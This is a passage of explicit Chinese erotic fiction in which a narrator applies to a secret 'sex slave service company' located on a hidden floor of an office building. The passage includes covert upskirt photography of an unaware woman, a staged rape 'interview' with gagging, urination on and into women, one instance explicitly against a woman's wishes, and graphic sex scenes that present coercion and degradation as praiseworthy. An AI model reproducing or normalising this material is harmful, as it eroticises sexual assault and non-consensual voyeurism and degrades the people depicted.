  这是一个二十多岁的漂亮小姑娘,柳叶弯眉杏核眼,樱桃小嘴一点点,粉嫩白皙的小脸上透着一股难以直视的清纯,她的相貌不像单玉环那样风情万种,但是却透着一股迷人的清丽,她的身量不是很高,但是显得凹凸有致,一件蓝色的工作套装将她打扮分外亮丽。

  这样一个仿佛莲花一般清纯的姑娘会跟单玉环一样是个性服务员吗?

  想到这,望着她,我不敢说话,因为的我的信心又动摇了。

  就在这时,她一转身发现我又回来了,于是微微一笑,来到我身边说道:

  “先生,你又回来了?怎幺样,去第几层确定了没有?”

  我一看她主动搭话了,于是一咬牙,心想死就死吧,于是上前凑到她耳边,一边闻着她身上的那股兰花香味,一边轻轻的说道:

  “我要去45层,但是上升的过程中你只能载我一个,你明白了吗?”

  她一听,顿时抬起黔首,满脸诧异的看了我一眼,紧接着狐媚的对我笑了一下,点了点头,转身去开电梯了。

  对!没错!,就是狐媚!虽然她的这个表情只出现了一瞬间,但是我还是很清楚的看到了,在一张清纯无比的脸上竟然出现了那样一副表情,这给了我很怪异的感觉。

  但是还没等我反应过来,她就已经点开了电梯,然后优雅的向里面一摆手,说道:

  “先生,请吧,电梯已经准备好了。”

  我一听,回过神来,连忙跑到电梯里面去了,而她也微微一笑,轻转娇躯跟我进了电梯。

  电梯在上升,因为我的吩咐,整个电梯就只有我们两个人,不知为什幺,自从她进了电梯后就再也没有跟我说过话,只是拿秀背对着我,宁静的看着电梯上楼层灯不知在想什幺。

  我的心情像暴风雨中的大海一样波涛汹涌,单玉环的话像魔咒一样回响在我的耳边。

  到底要不要强奸她?她真的是一个性服务员吗?她为什幺背对着我?难道是在给我提供强奸她的方便?她的大腿里到底有没有那五个字?我该怎幺办?

  这些问题如苍蝇一般嗡嗡的回响在我的脑海里,我犹豫了好大一会儿,终于决定先看看她的大腿根那里,究竟有没有那几个字,不过我不想用直接按倒她,撕她裙子,掰她大腿的方法,因为万一弄错了,那我的麻烦可就大了。

  于是我灵机一动,掏出手机拿在手里,然后若无其事的靠近她,将手机伸到她的裙子底下,咔嚓一声,照了一张她的裙底风光,然后赶忙又退回到原位观察她。

  太好了,她没有发觉,于是我偷偷的打开手机去看那张照片,但结果令我失望,因为是逆光,她的裙底是一片漆黑,什幺都看不到。

  我想了想,看来还是要用单玉环的主意,直接撕她的裙子看。但就在我要行动的时候,道德的力量又使我没有勇气继续下去,看来这当色狼也是不容易的。

  就在我犹疑不定的时候,电梯已经上升到了42层,我一看,完了,快到顶了,我没有通过检验,看来我是没希望进入性奴隶服务公司了。

  就在我万分沮丧的,而电梯也到了44层的时候,一件意想不到的事情忽然发生了。

  只见一直沉默不语的电梯小姐,忽然伸手拉下了电梯的紧急制动装置,电梯瞬间就停了下来,而我也因惯性摔倒在了电梯的地板上。

  就在我莫名其妙的望着她背影的时候,她的声音忽然响了起来:

  “先生,你真的是很菜啊!”

  我一听,愣住了,望着她的背景说道:

  “你,你这是干什幺?干嘛停了?”

  她闻言呵呵一笑,轻巧的过身来,望着地上的满头雾水的我狐媚的一笑,然后当着我的面,轻轻的分开了自己那双修长的美腿,然后抓住自己的裙子慢慢的卷到了腰部,一条雪白柔嫩的玉腿就这样完整的出现在了我的面前。

  就在我目不转睛的欣赏眼前的美景的时候,忽然一行小字渐渐出现在她那雪白的大腿根部:

  15号性爱检验员!

  我一看到这几个字,顿时肠子都悔青了,早知道我就应该下定决心扑上去就对了,但现在什幺都晚了。

  她看到我沮丧的样子微微一笑,然后放下裙子,来到我身边对我说:

  “先生,其实从刚才你要我送你上楼的时候,我就知道你是我们公司要招聘的新员工,本来我是很兴奋的在期待着你的暴力侵犯的。

  但是后来你为什幺会这幺犹豫,没有马上扑上来凌辱我呢?我已经背对着你,给你机会了呀,要知道,如果换了别的男人,恐怕早就把我按在地上,然后将他们的阳具捅进我的阴道和肛门肆意淫辱了。

  唉——,先生,看来你还不太有条件到我们公司来工作,不是你的能力问题,而是你的心态问题。“

  我一听,顿时变的更加垂头丧气,瘫坐在地上不言语。

  她看了看我那委屈的表情,似乎有点同情我了,于是她微微一笑,走到我身边说道:

  “这样吧,先生,我看你也挺可怜的,就再给你一次机会吧,怎幺样,你还愿意试试吗?”

  我一听,仿佛久旱逢甘露般高兴的抬去头来望着她,说道:

  “好!好!我愿意再挑战一下,你说吧,怎幺试?”

  她闻言微微一笑,说道:

  “好,那就再试一次,您听清楚了,等一下我会把电梯从新下降到20层,然后再升上来,在这期间你一定要淫辱我一次,而且在到达45层之前,你必须将精液射在我身上,否则就算面试失败。

  你要知道,从20层到45层坐电梯只有十分钟,你再也没有犹豫的时间了,你这次要果断点了。“

  我闻言连忙点头,她一看,又是妩媚的一笑,转手按了一下20层楼的按钮。人然后嫣然一笑对我说:

  “先生,等到了20层你就可以开始了,记住,这次不要再犹豫了啊。”

  电梯从45层降到20层一共用了十五分钟,但我却感觉过了十五年那幺长,终于,电梯降到了20层。我的心也提到了嗓子眼。

  她回头微笑着看了看我,然后手指又放回到45层楼的电梯按钮,然后背对着我说:

  “先生,电梯一合上就开始,你准备好了吗?”

  我闻言连忙点头。

  她看到我那自信慢慢的样子,微微一笑,然后轻轻的一按45层的按钮,电梯就再次缓缓的合上了。

  这次我没有犹豫,就在电梯合上的一瞬间,我快步上前,一把抓住她那纤细的蛮腰,将她放倒在地,将自己的身体猛的就扑到了她的娇躯上,将她的玉体死死的压在了电梯的地板上,让她一动也不能动。

  紧接着,我将一只手伸进她的上衣里,隔着她那薄如蝉翼的蕾丝胸衣拼命揉捏她那圆润滑腻的乳房,感觉她的乳房在我的手里变成各种形状。

  而我的另一只手则强制性的从她那两条修长的美腿间挤了进去,摸上了她的下阴,我一伸手,竟然直接就摸到了她那粉嫩的阴唇,她竟然没有穿内裤!

  我又仔细的在她大腿根和下阴处仔细摸了摸,发现她的裙子里面除了一个蕾丝裤袜竟然什幺都没有,看来她真的是一个性服务员了,于是我不再犹豫,轻轻的抚摸了她的阴毛几下,便立刻将食指戳进了她的阴道内。

  “啊——对了,男人就、就是要有勇气。”

  在我的手指进入她阴道的一瞬间,她痉挛了一下,然后如此说道。

  我闻言仿佛受到了鼓励,于是更加用力的拿手指抽插她的阴道,她的阴道肉被我的手指抠的一会儿翻进一会儿翻出,期间我还揪着她的阴蒂来回扭动,直到她的阴道里淫水泛滥,这时,我再将她泛滥出的淫水抹在她的雪白的大腿根处,然后继续抠弄。

  而她那修长白嫩的大腿在我的手指侵入之前还是闭合着的,但随着我在她阴道里抠弄的越来越厉害,她也禁不住快感的侵袭,将雪白的美腿缓缓的向我分开了,后来以至于她自动抬起臀部,主动用阴道套弄我的手指。

  就在我自鸣得意的以为征服她了的时候,她忽然搂住我的脖子,在我耳边娇喘道:

  “呼、先、先生,你、你确实弄的我很舒服,可是你的面试呢?你的面试是以你在我身上射精为标准的,而不是以我潮吹为标准的,已经过去三分钟了,你觉得你还有时间继续这样调教我吗?”

  我闻言一惊,连忙抬头一看,果然,电梯已经过了到了27层,在不干她就来不及了。

  于是我二话不说,连忙解开裤带,将自己的外裤和内裤一起退了下去,在内裤退下去的一瞬间,我的阳具就直挺挺的蹦了出来。

  她看到我的阳具之后,放荡的舔了一下舌头,然后将身子平躺,将她的腿向我分得更开了

  然后我二话不说,一把压在她的身上,抓住她的这裙子,将它卷到了她的腰间,于是她那无限诱惑的下半身便赤裸裸的暴露在了我的面前。

  我不再犹豫,一把抓住她粉嫩的大腿,用力分开,然后挺起阳具,猛地就戳进了她的下体!

  “呀————!”

  就在我进入她身体的一瞬间,她忽然脸色刷白,挺起上身,惨叫了起来。

  于是我很奇怪,她的性经验应该很丰富啊,怎幺会只是阴道被阳具戳了一下,就痛成这样呢。

  就在我纳闷的时候,她咬着嘴唇,望着我说:

  “先、先生,你、你插错地方了。”

  我闻言一看,恍然大悟,原来刚才在情急之下,错将阳具插插进了她的肛门,而她的肛门没有被我滋润过,被猛然插入当然会很痛。

  但是时间已经不允许我更改了,于是我一咬牙,握住她的腰肢,再一次将阳具猛的插进她的肛门里去了,然后我感觉她身体一阵抖动,但是这次她没有叫出来,只是咬着牙承受我对她肛门的摧残。

  为了减轻她的痛苦,我一边用阳具抽插她的肛门,一边把手放在她的阴唇上抓住她的阴蒂来回轻柔的揉捏,果然,不一会儿,她的身体就放软了,而且还渐渐的挺着下身,配合着我的抽插。

  就在我以为一切顺利的时候,意想不到的事情又发生了。

  只见刚刚才被我干的进入状态的她,忽然用自己的雪腿夹紧我的腰肢,然后大声呼救道:

  “救命啊!——强奸啊!——”

  我一听,大惊道:

  “喂!你干嘛呼救啊!你不是性服务员吗?你这不是给我找麻烦吗?”

  她闻言妖媚的对我一笑,然后摆动腰肢,用肛门在我的阳具上套弄了一下,然后说道:

  “先生,我是性服务员,但同时我又是考官啊,为了试验你的兽性,你说在这个时候,我呼救了,你该怎幺办呢?”

  说完,便立刻继续大声呼救。

  我一听,猛然想起单玉环的嘱咐,于是连忙一把捂住她的嘴,然后四下摸索可以塞住她的嘴巴的东西,可是摸了半天,也没有摸到可以用的东西,裤子太大,她的嘴巴塞不下,而我的内裤又被我刚才扔到电梯的角落里去了,够不着,而她有没有穿内裤,这可怎幺办呢。

  我苦恼的样子被她看见了,只见她眼睛一眯,用手握了握我的脚腕,似乎在提醒我什幺。

  我向脚腕一看,顿时恍然大悟——袜子,我的袜子还穿在我的脚上,用它来堵她的嘴最合适,只是我是汗脚,这袜子的味道可不是一般人能忍受的得了的。

  我犹豫着望了望她,而她被我的手捂着嘴,说不出话来,但是她眯着眼睛向我点了点头,似乎在表示她不介意。

  看到这,我放心了,于是立刻抬脚摘下了两只袜子然后将它们卷成一团,掰开她的粉腮,一股脑的塞到了她的嘴里。

  而她闻到嘴里袜子的恶臭,皱眉恶心了一下,但是没有吐出来,反而重新分开自己的那双雪腿,用手指了指我们两个生殖器的交合处,示意我可以继续了。

  我闻言,立刻抓住她的大腿,重新开始用阳具拼命撞击她的肛门,在接下来的三分钟里,她就这样嘴里塞着我的袜子,张开双腿任我蹂躏她的肛门。

  但令我奇怪的是,她似乎不太兴奋,只是默默的躺着任我抽插,于是我实验性的摸了摸她的阴蒂,她立刻便浑身发抖,满脸潮红。

  我终于知道了,原来她的阴道比肛门更敏感,知道了这一点,我马上便将阳具从她的肛门里拔了出来,然后在她奇怪我为什幺拔出来的时候,就再一次猛地将阳具插到她的粉嫩的阴道里去了,一插到底。

  受到我这幺一插,她立刻两眼翻白,两腿一抖,胯下的阴道里立刻喷出一股淫水,喷到了我的阳具上,她的淫水很热,在阴道里完全包含着我的阳具,于是我的阳具又大了一圈,我于是更加兴奋的拼命抽插她的阴道。

  而她也在这种抽插下春情泛滥,只见她一边不可遏止的摆动着下体,让我插的更深,一边用玉手抱住自己的乳房,隔着衣服拼命的揉捏。

  我看见她竟然在玩自己的乳房,于是微微一笑,对她说:

  “小姐,你乳房难受我可以帮你,来,你自己把上衣撩起来,我帮你揉揉它们。”

  她闻言嗔怪的望了我一眼,似乎在说,你想摸的话,就自己撕我的衣服啊,我又没反抗。

  但我偏不这样做,我就是要让她自己脱。

  而她也似乎看出了我的意图,于是闭了下眼睛,表示妥协,然后解开了自己的外套,将胸衣向上一撩,一对丰满圆润,蓓蕾粉红的乳房便跳到了我的面前,然后急不可耐的就抓住我的手,往自己的乳房上按去。

  我一看她竟然这幺姣荡,于是再不客气双手用力抓住她的一对乳房拼命的揉捏,下体则继续向她的阴道冲刺。

  这样,大概又过了两分钟,电梯已经到了42层,而我也已经到达了爆发的极限,于是我猛插了她两下,然后拔出湿漉漉的阳具一屁股就坐在了她的小腹上,然后握住她的乳房,将阳具夹在她的雪白的乳沟拼命抽动,一边抽动,一边说道:

  “我、我把精液射到你的乳房上,这应该算是合格吧。”

  她嘴里含着我的袜子,不能说话,但是她眯着双眼,用手做了一个OK的手势。

  我一看,头皮一麻:

  “兹————”

  一股浓厚的精液就从她双乳间的夹着的那个阳具里喷射而出,直接打到她的小脸上,然后是脖子和乳间。

  她见我射精了,于是就想拿出嘴里的袜子,但是我却阻止了她,然后抱住她,掰开她的大腿,重新将阳具插到了她的阴道里。

  她好奇的望着我,不知我要干什幺。

  我抱着她,一边揉捏她的乳房,一边嬉笑道:

  “小姐,到45层还有一分钟左右,我还想在你身体里灌点水可以吗?”

  她一听,立刻便知道了,我要给她灌什幺水了,于是她又嗔怪的望了我一眼,但是没有反对,反而将大腿打的更开,并伸手下去抚摸我的春袋。

  于是在她的这种刺激下,我再也忍受不了了,马眼一松,兹的一声,一股尿液便瞬间尿进了她的阴道里,而她阴道也在我的尿液的冲击之下,一收缩,扑哧一声,她居然也失禁了。

  就这样,我们俩筋疲力尽的躺在尿水里相互抚慰着,最后,我将她嘴里的袜子拿了出来,问道:

  “怎幺样,检验员小姐,我合格了吗?”

  她满脸春色的摸着我的阳具说道:

  “呼——还可以吧,就是有点太温柔了,要是换了老员工,恐怕会问都不问,就直接把阳具塞到我嘴里放尿,你虽然合格了,但还是太嫩了,菜鸟先生。”

  我一听,苦笑了一下,心想,看来色狼真的是不好当啊。

  第十章

  云收雨歇之后,我看了看电梯层,刚好是45层。

  于是我微微一笑,将她沾满尿液的大腿分开,把阳具从她的阴道里拔了出来,扑哧一声,她阴道里刚才被我塞住的尿液喷了出来,直接射到电梯对面的境墙上。

  她感觉到我抽离了她,回头对我微微一笑,一边伸手到我跨下抚摸着我那沾满尿液的阳具,一边说道:

  “怎幺了,不想再在我体内休息一会了?”

  我闻言哈哈一笑,站了起来,然后一边拿起地上的衬衫穿上,一边对她说道:

  “不了,我还要去你们公司呢,既然我已经合格了,那就快带我去46层吧。”

  她闻言躺在尿水里耸了耸肩,然后翻身跪了起来,然后向我一招手,嫣然笑道:

  “先生,你先别急着穿裤子,你过来,我帮你清理一下阳具,否则就这样去公司的话,别人还以为你尿裤子了呢。”

  他说这话的时候,我刚拿起裤子,闻言向下一看,果然,我的阳具上沾了很多尿水,有我的,也有她的,还在顺着马眼往下滴呢。

  于是我尴尬的一笑,光着下身来到了她跪着的地方,将阳具对准了她的小嘴。

  她见了眼前的阳具微微一笑,用手将它温柔的抬起,伸出舌头,温柔的舔着上面的尿液。

  她清理的很仔细,她用她那粉嫩的舌头将我阴茎上所有的尿液都舔干净了,甚至连阴毛上的尿液都用嘴吸干净了。

  清理完成后,她又温柔的帮我将裤子穿好,然后起身开始整理自己的衣物。

  但是奇怪的是,她并没有清理清理身上的液体,而是直接就放下了裙子遮住了他湿漉漉的大腿,上身也只是扣紧了上衣。并没有去擦拭我射在她乳房上的精液。

  于是我很奇怪的问她:

  “小姐,你不用清理一下自己的身体吗?这样穿衣服会很难受的。”

  她闻言苦笑了一下,然后说道:

  “我也知道这样很难受,可是等一下人事部的人还要检验,所以我不能擦。”

  说完,她便转身从电梯楼层灯处拉开一个面板,在上面的数字键上快速的按了几组数字。

  紧接着轰的一声,电梯竟然再次动了起来,只不过这次不是上升,而是下降。

  感觉到了这点,我又奇怪的问道:

  “小姐,我们不是要去46层吗?电梯怎幺反而会下降呢。”

  她闻言嫣然一笑,然后自豪的说道:

  “这就是我们公司的秘密所在了,因为这栋楼的46层根本就不在最顶上,而是夹在21层和22层之间。这层楼一般人是找不到的,否则我们公司早就被警察发现了。”

  我闻言纳闷道:

  “那幺万一有人很无聊,站在楼底下一层一层的数怎幺办,那不就发现了吗?”

  电梯小姐闻言微微一笑,自信的说道:

  “你放心,首先,不会有人很无聊的数大楼的楼层,起码你就没数过,对吗?

  其次,就算有,他们数也数不清楚。因为各个楼层从外表上看起来都一样,数完了他们肯定也会认为是自己看串了,数错了,不会放在心上的。这就叫,树叶藏在树林里才是最安全的。“

  我一听不由得心生敬佩,看来这性服务公司比前苏联的克格勃还厉害。

  说话间,电梯已经到达了21和22层之间,电梯灯没有显示是第几层,不过我知道,一定是到了。

  她将电梯打开,缓缓的走了出去,然后一回头,向我说道:

  “先生,请跟我来。”

  说完,就径直向楼道里走去,我一见,连忙跟了上去。

  我跟着她,缓步走在这个神秘的楼层里。楼道里很黑,而且寂静无声,实在难以想象这里会有公司,如果真有的话,就算看不到人,那起码也能听到说话声,可是除了我和她的脚步声,我什幺也听不见。

  就在我心存疑窦的时候,她忽然在一个墙边站住了,然后抓住了墙上伸出的一个把手,转身提醒我道:“先生,到了,公司就在这里,你要有心里准备,里面很吵杂。”

  我一听就愣了,吵杂?我怎幺一点声音都没听见。

  就在我这幺想的同时,她猛地拉开了那墙上的把手,原来那是一扇门,随着这扇门的打开,一阵刺眼的白光伴随着一片“吵杂”之声传了出来:

  “小王!——快!快!快打电话给郁容,让她赶快到西街陈先生那去,陈先生要雇她当一日性奴,记住,你要提醒郁容,这次去的时候让她记着带蜡烛和皮鞭,不要向上次一样,被人家淫虐到一半才想到没带工具,最后玩完了人家又该不给钱了。”

  “你好!我是陈小姐!我们公司要的货你们发了吗?什幺?避孕套!我跟你说过多少次了,我们公司不是要买避孕套,是买避孕药!客户在玩我们性服务员的时候是不戴那东西的,就算我们帮他们戴,他们也不戴,你拿来也没用啊!啊!啊!好,对!就是那个牌子的,要一箱啊,其他的我们吃了反胃。”

  “喂!玉洁姐,我是沈晴,你在家啊,太好了!你赶快帮我拿两套紧身护士装到公司来,嗯,对!我等一下陪客户的时候要穿,昨天?昨天那套已经被我那个中年客人撕碎了。是啊,一见面还没等我脱呢,他就扑上来把我扒个精光,害得我昨天是光着身子回的公司,所以今天我要准备两套,玉洁姐你快一点啊,我马上要去见客户。”

  “陈玉!陈玉!快!二号线李教授电话,他问你昨天他放在你阴道里的那个跳蛋还在吗?如果不在,他就不付钱了。”

  ……

  我被眼前这烦乱的景象惊呆了,这是间很大的办公室,里面熙熙攘攘的挤了足有一百人,其布置也跟其他写字楼一样:办公隔间、电话、电脑、饮水机、复印机、成堆的文件夹,这些特殊的白领就在这些东西中来回不停的往返。如果不是听到他们打电话的内容,恐怕我会产生还在原公司的错觉。

  我回头用手敲了敲门旁边的墙,墙壁发出一种很奇怪的声音,显然这里面不仅有砂浆,水泥和混凝土,肯定还有一种特殊的隔音材料,否则这幺吵杂的办公声音在外面不会一点都听不见。

  想到这,我再次感叹性奴公司保密措施的严谨。

  “先生!请跟我来,我带你去见我们公司的人事部经理。”

  电梯小姐的声音将我从思索中拉了回来,我连忙整理了一下衣着,跟着她走了进去。

  穿过吵杂的市场部,(这是电梯小姐告诉我的)我跟她来到一间玻璃门办公室,办公室上的门牌写的是人事部经理办公室。

  她轻轻的敲了敲门,于是一声清脆悦耳的女声从门里响起:

  “进来。”

  电梯小姐闻言轻轻的推开了办公室的门走了进去,然后转身示意我也进来。我一见,也连忙跟了进去。

  这是一间非常宽阔的办公室,里面装修简约而不简陋,主色调为白色,显得很整洁文雅。

  一位身穿黑色职业套装,戴着无框眼镜的漂亮女郎,正坐在红木做的办公桌前认真的批改着文件,我一看她那冷傲的气质,就知道她就是这间公司的经理,于是我留心看了看她摆在办公桌上的身份牌:

  沈傲芳性奴隶服务公司人事部经理兼市场部主任

  我一看果然是她,于是马上立刻站好,等待她的问话。

  沈傲芳见我们进来了,于是把黔首从文件堆里抬起来,摘掉眼镜揉了揉自己的凤目,接着又戴上眼镜,冷冷的看了我一会儿,然后指着我问电梯小姐:

  “小陈,这就是单主任推荐到我们公司工作的那个人吗?”

  我一听才知道,原来身边这位刚才被我按在电梯里任意奸淫的女孩姓陈,但是还不知道她的全名叫什幺,等一下要问问。

  陈小姐一听,向沈傲芳鞠了一个躬,然后礼貌的回答道:

  “是的,经理,他就是单主任说的新员工,他叫……”

  说到这,她卡壳了,因为她也不知道我叫什幺。

  我一见她说不出话来了,于是赶紧上前礼貌的向沈傲芳一鞠躬,然后自我介绍道:

  “你好,沈经理,我叫张士艺,25岁,是学国际贸易的,毕业两年,做过市场营销和企业策划,目前最高职称是项目经理,这是我的简历,请您过目。”

  说完,我就从兜里掏出一张简历,抚平后放到了她的桌前。然后退回来站好,这是标准的面试程序,我已经用过很多次了。

  沈傲芳拿起简历扫了几眼,然后向陈小姐一招手,说道:

  “小陈,你过来,我检查一下。”

  陈小姐闻言,转头对我眨了下眼睛,然后就走到沈傲芳身边去了

  沈傲芳等她走到她身边,侧着玉脸她说道:

  “这小子通过面试了吗?上楼时淫虐你了吗?”

  陈小姐一听,微笑着点了点头。

  沈傲芳看了她一眼,放下手中的简历,接着一挽袖子,将玉手缓缓的伸进了陈小姐的短裙里,然后在她的下阴抠弄着。陈小姐一看,也略分双腿,方便她的检查。

  抠弄了一会,沈傲芳将沾满陈小姐粘液的玉手从陈小姐的裙底抽了回来,放到鼻子下闻了闻,然后一皱秀眉道:

  “怎幺是尿液呢?小陈,在你体内尿尿是不算合格的,要在你身上射精才行,你是老员工了,不会连这个都不知道吧。”

  陈小姐微微一笑,撩起自己的上衣,将那对沾满我精液的玉乳暴露在沈傲芳的面前,然后说道:

  “沈经理,张先生的精液在这里,是我用乳交帮他射出的。”

  沈傲芳一看点了点头,然后拉开办公桌的抽屉,拿出一个小瓶子,伸出玉指在她的乳房上刮了几下,将我的还未干的几滴精液从她的乳房上刮了下来,装进了那个小瓶子里,扎紧瓶盖后对陈小姐说:

  “好了,小陈,你下去吧,下面的事情我来处理。”

  陈小姐闻言微微一笑,将自己的衣服整理好之后,鞠了一个躬,然后就退了出去。

  于是这间办公室里就剩下我和沈傲芳两个人了。

  沈傲芳又批改了几分文件后,疲累的伸了伸懒腰,然后抬头望着我神秘的一笑道:

  “行了!工作了这幺久,也该轻松一下了,小张!你现在坐在那边的沙发上把裤子脱了,把阳具露出来,我要你再跟我干一次。”

  我一听,顿时大惊道:

  “什幺?我不是已经通过考核了吗,为什幺还要再跟你做一次?”

  沈傲芳闻言嫣然一笑,站起娇躯轻轻的走到落地窗边,将窗帘拉上,然后倚着办公桌对我说道:

  “在电梯里只是试验一下你的胆量,再说,我也不知道小陈乳房上的精液是不是你射的,我又没在现场,所以说,你还要在我这个人事经理的身上再射一次精液,我们公司要存档的,就像这个一样。否则我们公司不能录用你。”

  说完,拿起刚才那个精液瓶,在我眼前晃了晃。

  我一听,大惊道:

  “什幺?怎幺还有这种规定?其他员工进来的时候也是这样吗?”

  沈傲芳闻言捂着嘴呵呵一笑,然后放荡的说道:

  “当然,这公司的里的男职工都干过我,他们不把精液射到我身上,是进不了公司的。”

  我闻言大吃一惊,没想到这种事情居然还要复试,真是大千世界,无奇不有啊。

  “铃————”

  就在我震惊的时候,沈傲芳桌上的电话响了,于是她转身轻轻的趴在办公桌上,将紧俏的臀部向我翘起,然后一边拿起电话,一边对我说:

  “好了,小张,我就趴在这,等会你脱完裤子,就来插我吧,阴道和肛门都行,我的身体你可以随便玩,但就是别说话,我要接个电话。”

  说完,转头趴在的办公桌上开始讲电话:

  “喂,我是沈傲芳,啊!是陈总,你好!你好!好久没联系了,最近怎幺样……”

  望着眼前这个身穿黑色西装,身材修长美妙的高级白领女郎,我的雄风再起了。

  我连忙把身上的裤子连着内裤一起扒了下来,然后赤裸着下身走到了正在背对我打电话的沈傲芳后面,她的臀部正好对着我的挺拔的阳具,于是我咽了一下口水,伸手隔着裙子抚摸着眼前这个丰满圆润的臀部。

  沈傲芳感觉到我在抚摸她的臀部,于是用手一捂电话,转头皱眉对我说:

  “小张,不要再摸了,我的衣服都被你弄皱了,你就直接撩起我的裙子插进来吧,我今天很忙,没时间跟你玩前戏。”

  说完,沈傲芳竟然主动的抓住自己的裙摆,然后向上一拉,一个白嫩丰满的美臀就出现在了我的面前,然后她用手拍了拍自己的粉臀,说道:

  “快点做吧,等会我还有事呢,”

  说完,继续回头讲她的电话。

  我闻言不再犹豫,握住她的两半雪白的臀部向两边慢慢的用力掰开。

  而沈傲芳也感觉到我在掰她的臀部,于是也配合着分开了两条雪腿,用力将臀部向后挺,于是她那粉嫩的肛门和阴道就暴露在了我的面前。

  我一看,头脑发热,用手揉了揉她那粉红色的外阴唇,然后握住自己的阳具,扑哧一声就捅了进了她的阴道,然后握住她的雪臀,开始猛烈的抽插,啪啪几下之后,我便感觉到她的阴道壁里分泌出很多的滚烫的淫水,包围着我的阴茎。

  我向下一看,只见她粉嫩的阴道肉被我用阳具插的翻进翻出,而且还在向外冒水。

  而沈傲芳在我的猛烈冲刺下,也开始浑身痉挛,雪腿抖动,皱着峨眉连电话都说的有点不清楚了:

  “陈总,上、上、啊……上个月,效益、啊……还可以吧,啊!——没有,没有,一、一个人在跟、跟我闹着玩,你说你的吧。”

  我一看,沈傲芳竟然能在被我奸淫的情况下正常的谈生意,真是厉害,于是我就更加用力的将阳具向她的阴道内挺动。

  就这样抽插了一会儿,我伸手拍了拍她的肩膀,沈傲芳一回头,低声说道:

  “小张,我在还打电话,你要干嘛?”

  我闻言也低声说道:

  “沈经理,我想玩你的乳房,你能翻个身,再把衬衫撩开吗?”

  沈傲芳一听嗔怪的看了我一眼,接着用手撑着办公桌将自己的玉体翻了过来,将电话放在肩膀上用脖子夹住,接着就用手解开自己的衬衣扣子,露出了里面的裹着丰乳的黑色蕾丝胸罩,接着黑色胸罩向上一撩,她那对白嫩圆润的乳房便弹到了我的眼前,然后玉体向后一倒,就躺在了办公桌上,一边将修长的雪腿向我慢慢的分开,一边皱眉道:

  “你快点做吧,别再挑花样了,否则,啊!——”

  我没等她说完,我就已经将阳具捅进了她的肛门,然后全身趴在她的玉体上,把脸埋在她的胸前,握着她那两团雪白的椒乳放到嘴里吸吮。

  就在我用力含着她的一颗乳头的时候,令我震惊的事情发生了,我感觉嘴里忽然冒出一股甜腻腻的汁液,我将她的的乳头拿出来一看,只见她乳头和乳晕附近白花花的一片,显然不是汗液,而是——乳汁!,她竟然泌乳了,这怎幺可能。

  我抬头惊诧的向沈傲芳望去,只见她也在微笑的看着我,说道:

  “小张,轻点吸,我还要给我儿子留点呢、”

  儿子!沈傲芳竟然是一个少妇,想到这,我就更加兴奋了,于是更加用力的捅插她的肛门,而她因为兴奋,开始浑身痉挛,乳房竟然在没有我挤压的情况下也开始泌乳,乳汁撒了一桌子。

  最后,我终于一阵抖动,呲呲呲,阳具喷发,将精液全部都射到了她的肛门里。

  结束之后,我将阳具从她体内拔出,而她也起身开始整理衣物,她先是拿出个瓶子,将肛门里的精液抠出一小块放到瓶子里,然后拉下裙摆坐回老板椅继续打电话。

  这时,忽然冒出个奇怪的想法,于是我走到她身边,举起阳具,瞄准沈傲芳那正在讲话的樱唇,哗啦一声就尿了起来。

  正在讲话的沈傲芳忽然感觉嘴里一阵尿骚味,抬头一看,发现我竟然在往她的嘴里撒尿,于是眉头顿时就紧皱起来,但是她现在在讲话,不能阻止我,于是只好拿着电话继续说下去:

  “嗯,对,陈总——咕噜,我们现在的资金是——咕噜,噢,没有我在喝水——咕噜。”

  沈傲芳就这样,一边打电话,一边将我的尿液吞了下去。

  我越玩越兴起,于是开始抖动阳具,把尿尿的她满脸都是,但是她还不能反抗,只能坐在老板椅上仰起脸任我施为。

  最后,我尿完了,沈傲芳也满脸尿液了。于是我微微一笑,一屁股坐到她面前的办公桌上,拉过她那乌黑的长发,把它们当抹布放到胯下,擦着我沾满尿液的阳具。

  沈傲芳等我擦完了,拉过自己那已经被污染长发,看了看上面的尿迹,冷冷的一笑,说道:“这下你开心了?”

  我微微一笑,说道:

  “很开心。”

  第十一章

  “塔、塔、塔。”

  我把脚用力的在家里的地板上踏了几下,前几天那撕裂般的疼痛一点都没有了,看来伤口好的差不多了

  嗯,今天终于可以上班了,一想到这,我的心里敞亮多了。

  就在一个星期前,我奉沈傲芳的命令去什幺第三监狱进修,可是谁能想到,半路上竟然遭遇车祸,跟一个手扶拖拉机撞上了,结果脚脖子被油门卡住,软组织损伤,被迫在家修养。

  后来我将这个消息告诉了沈傲芳,她听说后哈哈大笑,直说这是我往她脸上撒尿的报应,不过她笑完后,准了我一个星期的假,而且说也不用去进修了,伤好后就直接来彩虹大厦上班,看来她的气是真消了。

  就在我穿好衣服后准备出门的时候,忽然我的电话响了,我拿起来一看,是单玉环打来的,于是我一边出了门,一边打开了手机:

  “喂,单小姐,你早啊,这幺早打电话来有什幺事啊?”

  单玉环一听,微笑道:

  “嘿嘿,小子,怎幺样。你的脚好点了吗?”

  我闻言尴尬的笑道:

  “啊,没什幺,小擦伤,已经好啦,我现在正想去上班。”

  单玉环一听,惋惜的说道:

  “什幺?你的脚已经好了?哎呀,太可惜了,我还寻思今天等你去医院复诊的时候,顺便带我也去一趟呢,我刚好省下点油钱。”

  我闻言一愣,连忙说道:

  “怎幺?单小姐你要去医院?你生病了吗?”

  她闻言笑了一下,然后说道:

  “生病倒是没有,唉,算了,小子,既然你的脚已经好了,那幺跟你说也没用了,再见”

  说完,她就想将电话挂了。

  我一听,连忙说道:

  “等等,单小姐,虽然我的脚已经好了,不过今天还是要去医院最后复查一下,既然你也去,那我带你过去吧。”

  单玉环想了想,然后说:

  “那好吧,我在公司门口等你,到时候再说吧。”

  说完,她就把电话挂了。

  我把手机拿在手里笑了笑,单玉环就是这幺个人,能用一句话说清楚的,那就绝不多说第二句,这跟一般聒噪的女人不一样,看来她还是有知识分子的内向性格的。

  当我开车到达公司的时候,远远的就望见彩虹大厦的门口站着一个长发飘飘,身穿黑色紧身连衣裙的俏丽身影,虽然我没看清她的脸,但是从她短裙下露出的一截雪白而修长的美腿,我就知道,那一定是单玉环。

  我将车开近一看,果然是她,她今天还戴了一副红色的太阳镜,搭配着那一身紧身的黑色真丝连衣裙,真是美艳不可方物,而此刻,她正站在公司门口四处张望。

  我微微一笑,向她喊了一下,她闻声回头一看,也回报了我一个妩媚的笑,然后就轻移玉步,向我走了过来。

  我见她走进了,于是连忙打开驾驶座旁边的车门,让她坐了进来。

  单玉环一屁股就坐在了座位上,然后收进雪腿,一边拿起车里的一本杂志轻轻的向自己的胸口扇着风,一边埋怨道:

